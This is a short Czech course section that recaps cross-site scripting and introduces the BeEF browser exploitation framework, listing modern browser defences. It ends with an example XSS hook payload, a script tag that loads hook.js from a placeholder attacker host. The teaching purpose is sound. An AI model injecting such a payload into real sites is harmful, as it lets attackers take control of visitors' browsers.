5.1 Opakování a BeEF
Krátké opakování: XSS
Cross-Site Scripting (XSS) je zranitelnost, kdy útočník může spustit libovolný JavaScript v prohlížeči oběti. Ochrana nespočívá jen ve validaci na straně klienta (protože ji lze snadno obejít), validace a sanitizace dat musí být vždy prováděna i na straně serveru.
The Browser Exploitation Framework (BeEF)
BeEF
BeEF (Browser Exploitation Framework) je nástroj zaměřený na zneužívání webových prohlížečů. Pomocí XSS dokáže prohlížeč "zaháknout" (hooking) a následně ovládat jeho funkce pomocí JavaScriptu.
JavaScript může uvnitř obětního prohlížeče spouštět nejrůznější příkazy a scénáře. Exploitace je nicméně s moderními prohlížeči stále těžší, jelikož obsahují vestavěné ochranné mechanismy:
- Automatické aktualizace prohlížeče
- Striktní Same Origin Policy (SOP)
- Sandboxing (běh procesů v izolovaném prostředí)
- Content Security Policy (CSP)
BeEF Hook
Zaháknutí prohlížeče obvykle probíhá vložením zlomyslného JavaScriptu do zranitelné stránky. Příklad payloadu:
<script src="http://<IP>:3000/hook.js"></script>